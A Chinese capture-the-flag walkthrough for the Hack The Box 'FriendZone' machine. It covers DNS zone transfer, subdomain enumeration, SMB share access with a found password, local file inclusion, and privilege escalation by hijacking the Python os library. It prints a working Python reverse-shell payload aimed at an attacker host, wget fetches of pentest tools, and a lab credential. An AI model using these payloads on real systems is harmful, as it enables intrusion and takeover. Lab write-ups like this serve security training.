HTB靶机渗透之friendzone
字数 957 2025-08-12 11:34:41

FriendZone靶机渗透教学文档

0x01 信息搜集

初始扫描

使用nmap进行全端口扫描:

nmap -sC -sV -p- -A 10.10.10.123 -T4 -oA nmap_friendzone

发现关键服务:

  • 53端口:DNS服务
  • 80端口:HTTP服务(仅显示一个域名)
  • SMB服务

0x02 DNS区域传输利用

DNS区域传输概念

AXFR(全区域传输)是DNS主从服务器之间同步DNS记录使用的协议。从安全角度,服务器不应响应未经授权的AXFR请求。

实施步骤

  1. 对发现的域名进行AXFR请求:
dig axfr friendzoneportal.red @10.10.10.123
dig axfr friendzone.red @10.10.10.123
  1. 处理输出结果:
dig axfr friendzoneportal.red @10.10.10.123 | grep 604800 | awk '{print $1}' | sed s/.$//g | sort | uniq
dig axfr friendzone.red @10.10.10.123 | grep 604800 | awk '{print $1}' | sed s/.$//g | sort | uniq

命令解析:

  • grep 604800:匹配含有604800数字的行
  • awk '{print $1}':打印每行第一个字段
  • sed s/.$//g:删除末尾的点
  • sort | uniq:排序并去重
  1. 获取的子域名列表:
administrator1.friendzone.red
friendzone.red
hr.friendzone.red
uploads.friendzone.red
admin.friendzoneportal.red
files.friendzoneportal.red
friendzoneportal.red
imports.friendzoneportal.red
  1. 将域名添加到/etc/hosts文件

批量测试工具使用

推荐使用aquatone工具批量测试域名可用性:

  1. 安装aquatone:
sudo apt install chromium-l10n
wget https://github.com/michenriksen/aquatone/releases/download/v1.7.0/aquatone_linux_amd64_1.7.0.zip
unzip aquatone_linux_amd64_1.7.0.zip
sudo rm -rif aquatone_linux_amd64_1.7.0.zip LICENSE.txt README-cloudshell.txt
sudo mv aquatone /usr/local/bin
  1. 生成URL列表:
for i in $(cat name);do echo https://$i >>url;done
for i in $(cat name);do echo http://$i >>url;done
  1. 运行扫描:
cat url | aquatone

0x03 SMB服务利用

SMB枚举

crackmapexec smb 10.10.10.123 -u "" -p "" --shares

发现:

  • Development目录:读写权限
  • general目录:读权限

SMB登录

发现凭据:

用户名:admin
密码:WORKWORKHhallelujah@#

登录SMB:

smbclient //10.10.10.123/general -U admin

0x04 文件包含漏洞利用

漏洞发现

在web页面添加参数后显示时间戳,怀疑存在文件包含漏洞。

测试文件包含:

http://target/page.php?parameter=../../../../etc/passwd

确认存在本地文件包含漏洞。

读取dashboard文件

通过文件包含读取dashboard文件源码,发现代码直接通过GET参数包含文件:

include($_GET['parameter'] . '.php');

攻击思路

  1. 通过SMB上传PHP webshell到Development目录
  2. 利用文件包含漏洞包含上传的webshell

0x05 权限提升

信息收集

上传并运行linpeas.sh:

python3 -m http.server 80
wget 10.10.16.3/linpeas.sh

发现关键信息:

  • 对Python的OS库有写权限

提权过程

  1. 上传pspy64监控进程:
wget http://attacker_ip/pspy64
chmod +x pspy64
./pspy64
  1. 发现root定期执行的Python脚本调用了OS库

  2. 在OS库中插入反弹shell代码:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacker_ip",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
  1. 等待定时任务执行,获取root shell

总结

本靶机渗透涉及的关键技术点:

  1. DNS区域传输漏洞利用
  2. 子域名枚举与批量测试
  3. SMB服务枚举与利用
  4. 文件包含漏洞利用
  5. 非常规Linux提权技术(Python库劫持)

安全建议:

  1. 限制DNS区域传输仅对授权服务器开放
  2. SMB服务应设置适当权限
  3. 避免直接使用用户输入进行文件包含
  4. 关键系统文件应设置适当权限
FriendZone靶机渗透教学文档 0x01 信息搜集 初始扫描 使用nmap进行全端口扫描: 发现关键服务: 53端口:DNS服务 80端口:HTTP服务(仅显示一个域名) SMB服务 0x02 DNS区域传输利用 DNS区域传输概念 AXFR(全区域传输)是DNS主从服务器之间同步DNS记录使用的协议。从安全角度,服务器不应响应未经授权的AXFR请求。 实施步骤 对发现的域名进行AXFR请求: 处理输出结果: 命令解析: grep 604800 :匹配含有604800数字的行 awk '{print $1}' :打印每行第一个字段 sed s/.$//g :删除末尾的点 sort | uniq :排序并去重 获取的子域名列表: 将域名添加到/etc/hosts文件 批量测试工具使用 推荐使用aquatone工具批量测试域名可用性: 安装aquatone: 生成URL列表: 运行扫描: 0x03 SMB服务利用 SMB枚举 发现: Development目录:读写权限 general目录:读权限 SMB登录 发现凭据: 登录SMB: 0x04 文件包含漏洞利用 漏洞发现 在web页面添加参数后显示时间戳,怀疑存在文件包含漏洞。 测试文件包含: 确认存在本地文件包含漏洞。 读取dashboard文件 通过文件包含读取dashboard文件源码,发现代码直接通过GET参数包含文件: 攻击思路 通过SMB上传PHP webshell到Development目录 利用文件包含漏洞包含上传的webshell 0x05 权限提升 信息收集 上传并运行linpeas.sh: 发现关键信息: 对Python的OS库有写权限 提权过程 上传pspy64监控进程: 发现root定期执行的Python脚本调用了OS库 在OS库中插入反弹shell代码: 等待定时任务执行,获取root shell 总结 本靶机渗透涉及的关键技术点: DNS区域传输漏洞利用 子域名枚举与批量测试 SMB服务枚举与利用 文件包含漏洞利用 非常规Linux提权技术(Python库劫持) 安全建议: 限制DNS区域传输仅对授权服务器开放 SMB服务应设置适当权限 避免直接使用用户输入进行文件包含 关键系统文件应设置适当权限